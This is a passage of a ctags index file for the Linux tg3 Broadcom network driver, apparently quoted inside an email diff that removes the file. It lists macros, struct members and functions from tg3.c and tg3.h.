file:=0A= -TG3_TSO_FW_RODATA_LEN tg3.c 3869;" d file:=0A= -TG3_TSO_FW_SBSS_ADDR tg3.c 3872;" d file:=0A= -TG3_TSO_FW_SBSS_LEN tg3.c 3873;" d file:=0A= -TG3_TSO_FW_START_ADDR tg3.c 3865;" d file:=0A= -TG3_TSO_FW_TEXT_ADDR tg3.c 3866;" d file:=0A= -TG3_TSO_FW_TEXT_LEN tg3.c 3867;" d file:=0A= -TG3_TSO_SUPPORT tg3.c 50;" d file:=0A= -TG3_TSO_SUPPORT tg3.c 52;" d file:=0A= -TG3_TX_RING_BYTES tg3.c 113;" d file:=0A= -TG3_TX_RING_SIZE tg3.c 104;" d file:=0A= -TG3_TX_TIMEOUT tg3.c 78;" d file:=0A= -TG3_TX_WAKEUP_THRESH tg3.c 127;" d file:=0A= -TG3_VLAN_TAG_USED tg3.c 44;" d file:=0A= -TG3_VLAN_TAG_USED tg3.c 46;" d file:=0A= -TXD_ADDR tg3.h 1527;" d=0A= -TXD_FLAG_ADD_SRC_ADDR tg3.h 1517;" d=0A= -TXD_FLAG_CHOOSE_SRC_ADDR tg3.h 1518;" d=0A= -TXD_FLAG_COAL_NOW tg3.h 1514;" d=0A= -TXD_FLAG_CPU_POST_DMA tg3.h 1516;" d=0A= -TXD_FLAG_CPU_PRE_DMA tg3.h 1515;" d=0A= -TXD_FLAG_END tg3.h 1510;" d=0A= -TXD_FLAG_IP_CSUM tg3.h 1509;" d=0A= -TXD_FLAG_IP_FRAG tg3.h 1511;" d=0A= -TXD_FLAG_IP_FRAG_END tg3.h 1512;" d=0A= -TXD_FLAG_NO_CRC tg3.h 1519;" d=0A= -TXD_FLAG_TCPUDP_CSUM tg3.h 1508;" d=0A= -TXD_FLAG_VLAN tg3.h 1513;" d=0A= -TXD_LEN_FLAGS tg3.h 1528;" d=0A= -TXD_LEN_SHIFT tg3.h 1520;" d=0A= -TXD_MSS_SHIFT tg3.h 1524;" d=0A= -TXD_SIZE tg3.h 1530;" d=0A= -TXD_VLAN_TAG tg3.h 1529;" d=0A= -TXD_VLAN_TAG_SHIFT tg3.h 1523;" d=0A= -TX_AUTO_NEG_MASK tg3.h 364;" d=0A= -TX_AUTO_NEG_SHIFT tg3.h 365;" d=0A= -TX_BACKOFF_SEED_MASK tg3.h 356;" d=0A= -TX_BUFFS_AVAIL tg3.c 117;" d file:=0A= -TX_CPU_BASE tg3.h 1031;" d=0A= -TX_CPU_SCRATCH_BASE tg3.c 3683;" d file:=0A= -TX_CPU_SCRATCH_SIZE tg3.c 3684;" d file:=0A= -TX_LENGTHS_IPG_CRS_MASK tg3.h 409;" d=0A= -TX_LENGTHS_IPG_CRS_SHIFT tg3.h 410;" d=0A= -TX_LENGTHS_IPG_MASK tg3.h 407;" d=0A= -TX_LENGTHS_IPG_SHIFT tg3.h 408;" d=0A= -TX_LENGTHS_SLOT_TIME_MASK tg3.h 405;" d=0A= -TX_LENGTHS_SLOT_TIME_SHIFT tg3.h 406;" d=0A= -TX_MODE_BIG_BCKOFF_ENABLE tg3.h 395;" d=0A= -TX_MODE_ENABLE tg3.h 393;" d=0A= -TX_MODE_FLOW_CTRL_ENABLE tg3.h 394;" d=0A= -TX_MODE_LONG_PAUSE_ENABLE tg3.h 396;" d=0A= -TX_MODE_RESET tg3.h 392;" d=0A= -TX_RING_GAP tg3.c 115;" d file:=0A= -TX_STATUS_LINK_UP tg3.h 401;" d=0A= -TX_STATUS_ODI_OVERRUN tg3.h 403;" d=0A= -TX_STATUS_ODI_UNDERRUN tg3.h 402;" d=0A= -TX_STATUS_SENT_XOFF tg3.h 399;" d=0A= -TX_STATUS_SENT_XON tg3.h 400;" d=0A= -TX_STATUS_XOFFED tg3.h 398;" d=0A= -VPD_ADDR_FLAG_WRITE tg3.h 76;" d=0A= -WDMAC_MODE tg3.h 954;" d=0A= -WDMAC_MODE_ADDROFLOW_ENAB tg3.h 960;" d=0A= -WDMAC_MODE_ENABLE tg3.h 956;" d=0A= -WDMAC_MODE_FIFOOFLOW_ENAB tg3.h 961;" d=0A= -WDMAC_MODE_FIFOOREAD_ENAB tg3.h 963;" d=0A= -WDMAC_MODE_FIFOURUN_ENAB tg3.h 962;" d=0A= -WDMAC_MODE_LNGREAD_ENAB tg3.h 964;" d=0A= -WDMAC_MODE_MSTABORT_ENAB tg3.h 958;" d=0A= -WDMAC_MODE_PARITYERR_ENAB tg3.h 959;" d=0A= -WDMAC_MODE_RESET tg3.h 955;" d=0A= -WDMAC_MODE_RX_ACCEL tg3.h 965;" d=0A= -WDMAC_MODE_TGTABORT_ENAB tg3.h 957;" d=0A= -WDMAC_STATUS tg3.h 966;" d=0A= -WDMAC_STATUS_ADDROFLOW tg3.h 970;" d=0A= -WDMAC_STATUS_FIFOOFLOW tg3.h 971;" d=0A= -WDMAC_STATUS_FIFOOREAD tg3.h 973;" d=0A= -WDMAC_STATUS_FIFOURUN tg3.h 972;" d=0A= -WDMAC_STATUS_LNGREAD tg3.h 974;" d=0A= -WDMAC_STATUS_MSTABORT tg3.h 968;" d=0A= -WDMAC_STATUS_PARITYERR tg3.h 969;" d=0A= -WDMAC_STATUS_TGTABORT tg3.h 967;" d=0A= -_T3_H tg3.h 9;" d=0A= -__GET_REG32 tg3.c 5844;" d file:=0A= -__GET_REG32 tg3.c 5887;" d file:=0A= -__cookie1 tg3.h /^ u32 __cookie1;$/;" m = struct:tg3_internal_buffer_desc=0A= -__cookie2 tg3.h /^ u32 __cookie2;$/;" m = struct:tg3_internal_buffer_desc=0A= -__cookie3 tg3.h /^ u32 __cookie3;$/;" m = struct:tg3_internal_buffer_desc=0A= -__devinitdata tg3.c /^static char version[] __devinitdata =3D$/;" v = file:=0A= -__reserved0 tg3.h /^ u8 __reserved0[0x400-0x300];$/;" m = struct:tg3_hw_stats=0A= -__reserved1 tg3.h /^ u64 __reserved1;$/;" m struct:tg3_hw_stats=0A= -__reserved2 tg3.h /^ u64 __reserved2;$/;" m struct:tg3_hw_stats=0A= -__reserved3 tg3.h /^ u64 __reserved3;$/;" m struct:tg3_hw_stats=0A= -__reserved4 tg3.h /^ u8 __reserved4[0xb00-0x9c0];$/;" m = struct:tg3_hw_stats=0A= -__tg3_set_mac_addr tg3.c /^static void __tg3_set_mac_addr(struct tg3 = *tp)$/;" f file:=0A= -__tg3_set_rx_mode tg3.c /^static void __tg3_set_rx_mode(struct = net_device *dev)$/;" f file:=0A= -__unused0 tg3.h /^ u64 __unused0[37];$/;" m struct:tg3_hw_stats=0A= -__unused1 tg3.h /^ u64 __unused1[31];$/;" m struct:tg3_hw_stats=0A= -__unused2 tg3.h /^ u64 __unused2[9];$/;" m struct:tg3_hw_stats=0A= -ability_match tg3.c /^ char ability_match, idle_match, ack_match;$/;" m = struct:tg3_fiber_aneginfo file:=0A= -ability_match_cfg tg3.c /^ u32 ability_match_cfg;$/;" m = struct:tg3_fiber_aneginfo file:=0A= -ability_match_count tg3.c /^ int ability_match_count;$/;" m = struct:tg3_fiber_aneginfo file:=0A= -ack_match tg3.c /^ char ability_match, idle_match, ack_match;$/;" m = struct:tg3_fiber_aneginfo file:=0A= -active_duplex tg3.h /^ u8 active_duplex;$/;" m struct:tg3_link_config=0A= -active_speed tg3.h /^ u16 active_speed;$/;" m struct:tg3_link_config=0A= -addr_hi tg3.h /^ u32 addr_hi;$/;" m = struct:tg3_ext_rx_buffer_desc::=0A= -addr_hi tg3.h /^ u32 addr_hi;$/;" m struct:tg3_internal_buffer_desc=0A= -addr_hi tg3.h /^ u32 addr_hi;$/;" m struct:tg3_rx_buffer_desc=0A= -addr_hi tg3.h /^ u32 addr_hi;$/;" m struct:tg3_tx_buffer_desc=0A= -addr_lo tg3.h /^ u32 addr_lo;$/;" m = struct:tg3_ext_rx_buffer_desc::=0A= -addr_lo tg3.h /^ u32 addr_lo;$/;" m struct:tg3_internal_buffer_desc=0A= -addr_lo tg3.h /^ u32 addr_lo;$/;" m struct:tg3_rx_buffer_desc=0A= -addr_lo tg3.h /^ u32 addr_lo;$/;" m struct:tg3_tx_buffer_desc=0A= -addrlist tg3.h /^ } addrlist[3];$/;" m struct:tg3_ext_rx_buffer_desc=0A= -advertising tg3.h /^ u32 advertising;$/;" m struct:tg3_link_config=0A= -asf_counter tg3.h /^ u16 asf_counter;$/;" m struct:tg3=0A= -asf_multiplier tg3.h /^ u16 asf_multiplier;$/;" m struct:tg3=0A= -autoneg tg3.h /^ u8 autoneg;$/;" m struct:tg3_link_config=0A= -board_part_number tg3.h /^ char board_part_number[24];$/;" m = struct:tg3=0A= -bufmgr_config tg3.h /^ struct tg3_bufmgr_config bufmgr_config;$/;" m = struct:tg3=0A= -calc_crc tg3.c /^static inline u32 calc_crc(unsigned char *buf, int = len)$/;" f file:=0A= -calc_crc_errors tg3.c /^static unsigned long calc_crc_errors(struct tg3 = *tp)$/;" f file:=0A= -coalesce_mode tg3.h /^ u32 coalesce_mode;$/;" m struct:tg3=0A= -cqid_sqid tg3.h /^ u16 cqid_sqid;$/;" m = struct:tg3_internal_buffer_desc=0A= -cur_time tg3.c /^ unsigned long link_time, cur_time;$/;" m = struct:tg3_fiber_aneginfo file:=0A= -data_base tg3.c /^ unsigned int data_base;$/;" m struct:fw_info file:=0A= -data_data tg3.c /^ u32 *data_data;$/;" m struct:fw_info file:=0A= -data_len tg3.c /^ unsigned int data_len;$/;" m struct:fw_info file:=0A= -dev tg3.h /^ struct net_device *dev;$/;" m struct:tg3=0A= -dma_high_water tg3.h /^ u32 dma_high_water;$/;" m = struct:tg3_bufmgr_config=0A= -dma_low_water tg3.h /^ u32 dma_low_water;$/;" m = struct:tg3_bufmgr_config=0A= -dma_read_prioq_full tg3.h /^ tg3_stat64_t dma_read_prioq_full;$/;" m = struct:tg3_hw_stats=0A= -dma_readq_full tg3.h /^ tg3_stat64_t dma_readq_full;$/;" m = struct:tg3_hw_stats=0A= -dma_rwctrl tg3.h /^ u32 dma_rwctrl;$/;" m struct:tg3=0A= -dma_write_prioq_full tg3.h /^ tg3_stat64_t dma_write_prioq_full;$/;" = m struct:tg3_hw_stats=0A= -dma_writeq_full tg3.h /^ tg3_stat64_t dma_writeq_full;$/;" m = struct:tg3_hw_stats=0A= -duplex tg3.h /^ u8 duplex;$/;" m struct:tg3_link_config=0A= -err_vlan tg3.h /^ u32 err_vlan;$/;" m struct:tg3_rx_buffer_desc=0A= -flags tg3.c /^ u32 flags;$/;" m struct:tg3_fiber_aneginfo file:=0A= -flags tg3.h /^ u32 flags;$/;" m struct:tg3_config_info=0A= -flags tg3.h /^ u32 flags;$/;" m struct:tg3_internal_buffer_desc=0A= -fw_info tg3.c /^struct fw_info {$/;" s file:=0A= -get_stat64 tg3.c /^static inline unsigned long get_stat64(tg3_stat64_t = *val)$/;" f file:=0A= -grc_local_ctrl tg3.h /^ u32 grc_local_ctrl;$/;" m struct:tg3=0A= -grc_mode tg3.h /^ u32 grc_mode;$/;" m struct:tg3=0A= -high tg3.h /^ u32 high, low;$/;" m struct:=0A= -hw_stats tg3.h /^ struct tg3_hw_stats *hw_stats;$/;" m struct:tg3=0A= -hw_status tg3.h /^ struct tg3_hw_status *hw_status;$/;" m struct:tg3=0A= -idle_match tg3.c /^ char ability_match, idle_match, ack_match;$/;" m = struct:tg3_fiber_aneginfo file:=0A= -idx tg3.h /^ } idx[16];$/;" m struct:tg3_hw_status=0A= -idx_len tg3.h /^ u32 idx_len;$/;" m struct:tg3_rx_buffer_desc=0A= -indirect_lock tg3.h /^ spinlock_t indirect_lock;$/;" m struct:tg3=0A= -ip_tcp_csum tg3.h /^ u32 ip_tcp_csum;$/;" m struct:tg3_rx_buffer_desc=0A= -led_mode tg3.h /^ enum phy_led_mode led_mode;$/;" m struct:tg3=0A= -led_mode_auto tg3.h /^ led_mode_auto,$/;" e enum:phy_led_mode=0A= -led_mode_link10 tg3.h /^ led_mode_link10$/;" e enum:phy_led_mode=0A= -led_mode_three_link tg3.h /^ led_mode_three_link,$/;" e = enum:phy_led_mode=0A= -len tg3.h /^ u16 len;$/;" m struct:tg3_internal_buffer_desc=0A= -len2_len1 tg3.h /^ u32 len2_len1;$/;" m struct:tg3_ext_rx_buffer_desc=0A= -len_flags tg3.h /^ u32 len_flags;$/;" m struct:tg3_tx_buffer_desc=0A= -link_config tg3.h /^ struct tg3_link_config link_config;$/;" m = struct:tg3=0A= -link_time tg3.c /^ unsigned long link_time, cur_time;$/;" m = struct:tg3_fiber_aneginfo file:=0A= -lock tg3.h /^ spinlock_t lock;$/;" m struct:tg3=0A= -low tg3.h /^ u32 high, low;$/;" m struct:=0A= -mac_mode tg3.h /^ u32 mac_mode;$/;" m struct:tg3=0A= -mbuf_high_water tg3.h /^ u32 mbuf_high_water;$/;" m = struct:tg3_bufmgr_config=0A= -mbuf_high_water_jumbo tg3.h /^ u32 mbuf_high_water_jumbo;$/;" m = struct:tg3_bufmgr_config=0A= -mbuf_mac_rx_low_water tg3.h /^ u32 mbuf_mac_rx_low_water;$/;" m = struct:tg3_bufmgr_config=0A= -mbuf_mac_rx_low_water_jumbo tg3.h /^ u32 = mbuf_mac_rx_low_water_jumbo;$/;" m struct:tg3_bufmgr_config=0A= -mbuf_read_dma_low_water tg3.h /^ u32 mbuf_read_dma_low_water;$/;" m = struct:tg3_bufmgr_config=0A= -mbuf_read_dma_low_water_jumbo tg3.h /^ u32 = mbuf_read_dma_low_water_jumbo;$/;" m struct:tg3_bufmgr_config=0A= -mi_mode tg3.h /^ u32 mi_mode;$/;" m struct:tg3=0A= -misc_host_ctrl tg3.h /^ u32 misc_host_ctrl;$/;" m struct:tg3=0A= -msg_enable tg3.h /^ u32 msg_enable;$/;" m struct:tg3=0A= -net_stats tg3.h /^ struct net_device_stats net_stats;$/;" m struct:tg3=0A= -net_stats_prev tg3.h /^ struct net_device_stats net_stats_prev;$/;" m = struct:tg3=0A= -nic_avoided_irqs tg3.h /^ tg3_stat64_t nic_avoided_irqs;$/;" m = struct:tg3_hw_stats=0A= -nic_irqs tg3.h /^ tg3_stat64_t nic_irqs;$/;" m struct:tg3_hw_stats=0A= -nic_mbuf tg3.h /^ u32 nic_mbuf;$/;" m struct:tg3_internal_buffer_desc=0A= -nic_sram_data_cfg tg3.h /^ u32 nic_sram_data_cfg;$/;" m struct:tg3=0A= -nic_tx_threshold_hit tg3.h /^ tg3_stat64_t nic_tx_threshold_hit;$/;" = m struct:tg3_hw_stats=0A= -opaque tg3.h /^ u32 opaque;$/;" m struct:tg3_rx_buffer_desc=0A= -orig_autoneg tg3.h /^ u8 orig_autoneg;$/;" m struct:tg3_link_config=0A= -orig_duplex tg3.h /^ u8 orig_duplex;$/;" m struct:tg3_link_config=0A= -orig_speed tg3.h /^ u16 orig_speed;$/;" m struct:tg3_link_config=0A= -pci_bist tg3.h /^ u8 pci_bist;$/;" m struct:tg3=0A= -pci_cacheline_sz tg3.h /^ u8 pci_cacheline_sz;$/;" m struct:tg3=0A= -pci_cfg_state tg3.h /^ u32 pci_cfg_state[64 \/ sizeof(u32)];$/;" m = struct:tg3=0A= -pci_chip_rev_id tg3.h /^ u16 pci_chip_rev_id;$/;" m struct:tg3=0A= -pci_clock_ctrl tg3.h /^ u32 pci_clock_ctrl;$/;" m struct:tg3=0A= -pci_hdr_type tg3.h /^ u8 pci_hdr_type;$/;" m struct:tg3=0A= -pci_lat_timer tg3.h /^ u8 pci_lat_timer;$/;" m struct:tg3=0A= -pdev tg3.h /^ struct pci_dev *pdev;$/;" m struct:tg3=0A= -pdev_peer tg3.h /^ struct pci_dev *pdev_peer;$/;" m struct:tg3=0A= -phy_crc_errors tg3.h /^ unsigned long phy_crc_errors;$/;" m struct:tg3=0A= -phy_id tg3.c /^ u32 phy_id;$/;" m struct:subsys_tbl_ent file:=0A= -phy_id tg3.h /^ u32 phy_id;$/;" m struct:tg3=0A= -phy_is_low_power tg3.h /^ int phy_is_low_power;$/;" m = struct:tg3_link_config=0A= -phy_led_mode tg3.h /^enum phy_led_mode {$/;" g=0A= -pm_cap tg3.h /^ int pm_cap;$/;" m struct:tg3=0A= -regs tg3.h /^ unsigned long regs;$/;" m struct:tg3=0A= -reserved tg3.h /^ u16 reserved;$/;" m struct:tg3_hw_status=0A= -reserved tg3.h /^ u32 reserved;$/;" m struct:tg3_rx_buffer_desc=0A= -reset_task tg3.h /^ struct work_struct reset_task;$/;" m struct:tg3=0A= -resv_len3 tg3.h /^ u32 resv_len3;$/;" m struct:tg3_ext_rx_buffer_desc=0A= -ring_info tg3.h /^struct ring_info {$/;" s=0A= -ring_set_send_prod_index tg3.h /^ tg3_stat64_t = ring_set_send_prod_index;$/;" m struct:tg3_hw_stats=0A= -ring_status_update tg3.h /^ tg3_stat64_t ring_status_update;$/;" m = struct:tg3_hw_stats=0A= -rodata_base tg3.c /^ unsigned int rodata_base;$/;" m struct:fw_info = file:=0A= -rodata_data tg3.c /^ u32 *rodata_data;$/;" m struct:fw_info file:=0A= -rodata_len tg3.c /^ unsigned int rodata_len;$/;" m struct:fw_info file:=0A= -rx_1024_to_1522_octet_packets tg3.h /^ tg3_stat64_t = rx_1024_to_1522_octet_packets;$/;" m struct:tg3_hw_stats=0A= -rx_128_to_255_octet_packets tg3.h /^ tg3_stat64_t = rx_128_to_255_octet_packets;$/;" m struct:tg3_hw_stats=0A= -rx_1523_to_2047_octet_packets tg3.h /^ tg3_stat64_t = rx_1523_to_2047_octet_packets;$/;" m struct:tg3_hw_stats=0A= -rx_2048_to_4095_octet_packets tg3.h /^ tg3_stat64_t = rx_2048_to_4095_octet_packets;$/;" m struct:tg3_hw_stats=0A= -rx_256_to_511_octet_packets tg3.h /^ tg3_stat64_t = rx_256_to_511_octet_packets;$/;" m struct:tg3_hw_stats=0A= -rx_4096_to_8191_octet_packets tg3.h /^ tg3_stat64_t = rx_4096_to_8191_octet_packets;$/;" m struct:tg3_hw_stats=0A= -rx_512_to_1023_octet_packets tg3.h /^ tg3_stat64_t = rx_512_to_1023_octet_packets;$/;" m struct:tg3_hw_stats=0A= -rx_64_or_less_octet_packets tg3.h /^ tg3_stat64_t = rx_64_or_less_octet_packets;$/;" m struct:tg3_hw_stats=0A= -rx_65_to_127_octet_packets tg3.h /^ tg3_stat64_t = rx_65_to_127_octet_packets;$/;" m struct:tg3_hw_stats=0A= -rx_8192_to_9022_octet_packets tg3.h /^ tg3_stat64_t = rx_8192_to_9022_octet_packets;$/;" m struct:tg3_hw_stats=0A= -rx_align_errors tg3.h /^ tg3_stat64_t rx_align_errors;$/;" m = struct:tg3_hw_stats=0A= -rx_bcast_packets tg3.h /^ tg3_stat64_t rx_bcast_packets;$/;" m = struct:tg3_hw_stats=0A= -rx_consumer tg3.h /^ u16 rx_consumer;$/;" m struct:tg3_hw_status=0A= -rx_discards tg3.h /^ tg3_stat64_t rx_discards;$/;" m = struct:tg3_hw_stats=0A= -rx_errors tg3.h /^ tg3_stat64_t rx_errors;$/;" m struct:tg3_hw_stats=0A= -rx_fcs_errors tg3.h /^ tg3_stat64_t rx_fcs_errors;$/;" m = struct:tg3_hw_stats=0A= -rx_fragments tg3.h /^ tg3_stat64_t rx_fragments;$/;" m = struct:tg3_hw_stats=0A= -rx_frame_too_long_errors tg3.h /^ tg3_stat64_t = rx_frame_too_long_errors;$/;" m struct:tg3_hw_stats=0A= -rx_in_length_errors tg3.h /^ tg3_stat64_t rx_in_length_errors;$/;" m = struct:tg3_hw_stats=0A= -rx_jabbers tg3.h /^ tg3_stat64_t rx_jabbers;$/;" m struct:tg3_hw_stats=0A= -rx_jumbo tg3.h /^ struct tg3_rx_buffer_desc *rx_jumbo;$/;" m struct:tg3=0A= -rx_jumbo_buffers tg3.h /^ struct ring_info *rx_jumbo_buffers;$/;" m = struct:tg3=0A= -rx_jumbo_consumer tg3.h /^ u16 rx_jumbo_consumer;$/;" m = struct:tg3_hw_status=0A= -rx_jumbo_mapping tg3.h /^ dma_addr_t rx_jumbo_mapping;$/;" m = struct:tg3=0A= -rx_jumbo_pending tg3.h /^ u32 rx_jumbo_pending;$/;" m struct:tg3=0A= -rx_jumbo_ptr tg3.h /^ u32 rx_jumbo_ptr;$/;" m struct:tg3=0A= -rx_mac_ctrl_rcvd tg3.h /^ tg3_stat64_t rx_mac_ctrl_rcvd;$/;" m = struct:tg3_hw_stats=0A= -rx_mcast_packets tg3.h /^ tg3_stat64_t rx_mcast_packets;$/;" m = struct:tg3_hw_stats=0A= -rx_mini_consumer tg3.h /^ u16 rx_mini_consumer;$/;" m = struct:tg3_hw_status=0A= -rx_mode tg3.h /^ u32 rx_mode;$/;" m struct:tg3=0A= -rx_octets tg3.h /^ tg3_stat64_t rx_octets;$/;" m struct:tg3_hw_stats=0A= -rx_offset tg3.h /^ u32 rx_offset;$/;" m struct:tg3=0A= -rx_out_length_errors tg3.h /^ tg3_stat64_t rx_out_length_errors;$/;" = m struct:tg3_hw_stats=0A= -rx_pending tg3.h /^ u32 rx_pending;$/;" m struct:tg3=0A= -rx_producer tg3.h /^ u16 rx_producer;$/;" m = struct:tg3_hw_status::=0A= -rx_rcb tg3.h /^ struct tg3_rx_buffer_desc *rx_rcb;$/;" m struct:tg3=0A= -rx_rcb_mapping tg3.h /^ dma_addr_t rx_rcb_mapping;$/;" m struct:tg3=0A= -rx_rcb_ptr tg3.h /^ u32 rx_rcb_ptr;$/;" m struct:tg3=0A= -rx_std tg3.h /^ struct tg3_rx_buffer_desc *rx_std;$/;" m struct:tg3=0A= -rx_std_buffers tg3.h /^ struct ring_info *rx_std_buffers;$/;" m = struct:tg3=0A= -rx_std_mapping tg3.h /^ dma_addr_t rx_std_mapping;$/;" m struct:tg3=0A= -rx_std_ptr tg3.h /^ u32 rx_std_ptr;$/;" m struct:tg3=0A= -rx_threshold_hit tg3.h /^ tg3_stat64_t rx_threshold_hit;$/;" m = struct:tg3_hw_stats=0A= -rx_ucast_packets tg3.h /^ tg3_stat64_t rx_ucast_packets;$/;" m = struct:tg3_hw_stats=0A= -rx_undersize_packets tg3.h /^ tg3_stat64_t rx_undersize_packets;$/;" = m struct:tg3_hw_stats=0A= -rx_xoff_entered tg3.h /^ tg3_stat64_t rx_xoff_entered;$/;" m = struct:tg3_hw_stats=0A= -rx_xoff_pause_rcvd tg3.h /^ tg3_stat64_t rx_xoff_pause_rcvd;$/;" m = struct:tg3_hw_stats=0A= -rx_xon_pause_rcvd tg3.h /^ tg3_stat64_t rx_xon_pause_rcvd;$/;" m = struct:tg3_hw_stats=0A= -rxbds_empty tg3.h /^ tg3_stat64_t rxbds_empty;$/;" m = struct:tg3_hw_stats=0A= -rxconfig tg3.c /^ u32 txconfig, rxconfig;$/;" m = struct:tg3_fiber_aneginfo file:=0A= -skb tg3.h /^ struct sk_buff *skb;$/;" m struct:ring_info=0A= -skb tg3.h /^ struct sk_buff *skb;$/;" m struct:tx_ring_info=0A= -speed tg3.h /^ u16 speed;$/;" m struct:tg3_link_config=0A= -split_mode_max_reqs tg3.h /^ u32 split_mode_max_reqs;$/;" m = struct:tg3=0A= -state tg3.c /^ int state;$/;" m struct:tg3_fiber_aneginfo file:=0A= -stats_mapping tg3.h /^ dma_addr_t stats_mapping;$/;" m struct:tg3=0A= -status tg3.h /^ u32 status;$/;" m struct:tg3_hw_status=0A= -status_mapping tg3.h /^ dma_addr_t status_mapping;$/;" m struct:tg3=0A= -status_tag tg3.h /^ u32 status_tag;$/;" m struct:tg3_hw_status=0A= -std tg3.h /^ struct tg3_rx_buffer_desc std;$/;" m = struct:tg3_ext_rx_buffer_desc=0A= -subsys_devid tg3.c /^ u16 subsys_vendor, subsys_devid;$/;" m = struct:subsys_tbl_ent file:=0A= -subsys_id_to_phy_id tg3.c /^static struct subsys_tbl_ent = subsys_id_to_phy_id[] =3D {$/;" v file:=0A= -subsys_tbl_ent tg3.c /^struct subsys_tbl_ent {$/;" s file:=0A= -subsys_vendor tg3.c /^ u16 subsys_vendor, subsys_devid;$/;" m = struct:subsys_tbl_ent file:=0A= -text_base tg3.c /^ unsigned int text_base;$/;" m struct:fw_info file:=0A= -text_data tg3.c /^ u32 *text_data;$/;" m struct:fw_info file:=0A= -text_len tg3.c /^ unsigned int text_len;$/;" m struct:fw_info file:=0A= -tg3 tg3.h /^struct tg3 {$/;" s=0A= -tg3FwRodata tg3.c /^static u32 tg3FwRodata[(TG3_FW_RODATA_LEN \/ = sizeof(u32)) + 1] =3D {$/;" v file:=0A= -tg3FwText tg3.c /^static u32 tg3FwText[(TG3_FW_TEXT_LEN \/ sizeof(u32)) = + 1] =3D {$/;" v file:=0A= -tg3Tso5FwData tg3.c /^u32 tg3Tso5FwData[] =3D {$/;" v=0A= -tg3Tso5FwRodata tg3.c /^u32 tg3Tso5FwRodata[] =3D {$/;" v=0A= -tg3Tso5FwText tg3.c /^static u32 tg3Tso5FwText[] =3D {$/;" v file:=0A= -tg3TsoFwRodata tg3.c /^u32 tg3TsoFwRodata[] =3D {$/;" v=0A= -tg3TsoFwText tg3.c /^static u32 tg3TsoFwText[] =3D {$/;" v file:=0A= -tg3_4g_overflow_test tg3.c /^static inline int = tg3_4g_overflow_test(dma_addr_t mapping, int len)$/;" f file:=0A= -tg3_abort_hw tg3.c /^static int tg3_abort_hw(struct tg3 *tp)$/;" f file:=0A= -tg3_alloc_consistent tg3.c /^static int tg3_alloc_consistent(struct tg3 = *tp)$/;" f file:=0A= -tg3_alloc_rx_skb tg3.c /^static int tg3_alloc_rx_skb(struct tg3 *tp, = u32 opaque_key,$/;" f file:=0A= -tg3_aux_stat_to_speed_duplex tg3.c /^static void = tg3_aux_stat_to_speed_duplex(struct tg3 *tp, u32 val, u16 *speed, u8 = *duplex)$/;" f file:=0A= -tg3_bmcr_reset tg3.c /^static int tg3_bmcr_reset(struct tg3 *tp)$/;" f = file:=0A= -tg3_bufmgr_config tg3.h /^struct tg3_bufmgr_config {$/;" s=0A= -tg3_change_mtu tg3.c /^static int tg3_change_mtu(struct net_device = *dev, int new_mtu)$/;" f file:=0A= -tg3_chip_reset tg3.c /^static void tg3_chip_reset(struct tg3 *tp)$/;" f = file:=0A= -tg3_cleanup tg3.c /^module_exit(tg3_cleanup);$/;" v=0A= -tg3_cleanup tg3.c /^static void __exit tg3_cleanup(void)$/;" f file:=0A= -tg3_close tg3.c /^static int tg3_close(struct net_device *dev)$/;" f = file:=0A= -tg3_cond_int tg3.c /^static inline void tg3_cond_int(struct tg3 = *tp)$/;" f file:=0A= -tg3_config_info tg3.h /^struct tg3_config_info {$/;" s=0A= -tg3_debug tg3.c /^static int tg3_debug =3D -1; \/* -1 =3D=3D use = TG3_DEF_MSG_ENABLE as value *\/$/;" v file:=0A= -tg3_disable_ints tg3.c /^static void tg3_disable_ints(struct tg3 = *tp)$/;" f file:=0A= -tg3_do_test_dma tg3.c /^static int __devinit tg3_do_test_dma(struct tg3 = *tp, u32 *buf, dma_addr_t buf_dma, int size, int to_device)$/;" f file:=0A= -tg3_driver tg3.c /^static struct pci_driver tg3_driver =3D {$/;" v file:=0A= -tg3_enable_ints tg3.c /^static void tg3_enable_ints(struct tg3 *tp)$/;" = f file:=0A= -tg3_ethtool_ops tg3.c /^static struct ethtool_ops tg3_ethtool_ops =3D = {$/;" v file:=0A= -tg3_ext_rx_buffer_desc tg3.h /^struct tg3_ext_rx_buffer_desc {$/;" s=0A= -tg3_fiber_aneg_smachine tg3.c /^static int = tg3_fiber_aneg_smachine(struct tg3 *tp,$/;" f file:=0A= -tg3_fiber_aneginfo tg3.c /^struct tg3_fiber_aneginfo {$/;" s file:=0A= -tg3_find_5704_peer tg3.c /^static struct pci_dev * __devinit = tg3_find_5704_peer(struct tg3 *tp)$/;" f file:=0A= -tg3_flags tg3.h /^ u32 tg3_flags;$/;" m struct:tg3=0A= -tg3_flags2 tg3.h /^ u32 tg3_flags2;$/;" m struct:tg3=0A= -tg3_free_consistent tg3.c /^static void tg3_free_consistent(struct tg3 = *tp)$/;" f file:=0A= -tg3_free_rings tg3.c /^static void tg3_free_rings(struct tg3 *tp)$/;" f = file:=0A= -tg3_frob_aux_power tg3.c /^static void tg3_frob_aux_power(struct tg3 = *tp)$/;" f file:=0A= -tg3_get_default_macaddr_sparc tg3.c /^static int __devinit = tg3_get_default_macaddr_sparc(struct tg3 *tp)$/;" f file:=0A= -tg3_get_device_address tg3.c /^static int __devinit = tg3_get_device_address(struct tg3 *tp)$/;" f file:=0A= -tg3_get_drvinfo tg3.c /^static void tg3_get_drvinfo(struct net_device = *dev, struct ethtool_drvinfo *info)$/;" f file:=0A= -tg3_get_invariants tg3.c /^static int __devinit = tg3_get_invariants(struct tg3 *tp)$/;" f file:=0A= -tg3_get_macaddr_sparc tg3.c /^static int __devinit = tg3_get_macaddr_sparc(struct tg3 *tp)$/;" f file:=0A= -tg3_get_msglevel tg3.c /^static u32 tg3_get_msglevel(struct net_device = *dev)$/;" f file:=0A= -tg3_get_pauseparam tg3.c /^static void tg3_get_pauseparam(struct = net_device *dev, struct ethtool_pauseparam *epause)$/;" f file:=0A= -tg3_get_regs tg3.c /^static void tg3_get_regs(struct net_device *dev, = struct ethtool_regs *regs, void *p)$/;" f file:=0A= -tg3_get_regs_len tg3.c /^static int tg3_get_regs_len(struct net_device = *dev)$/;" f file:=0A= -tg3_get_ringparam tg3.c /^static void tg3_get_ringparam(struct = net_device *dev, struct ethtool_ringparam *ering)$/;" f file:=0A= -tg3_get_rx_csum tg3.c /^static u32 tg3_get_rx_csum(struct net_device = *dev)$/;" f file:=0A= -tg3_get_settings tg3.c /^static int tg3_get_settings(struct net_device = *dev, struct ethtool_cmd *cmd)$/;" f file:=0A= -tg3_get_stats tg3.c /^static struct net_device_stats = *tg3_get_stats(struct net_device *dev)$/;" f file:=0A= 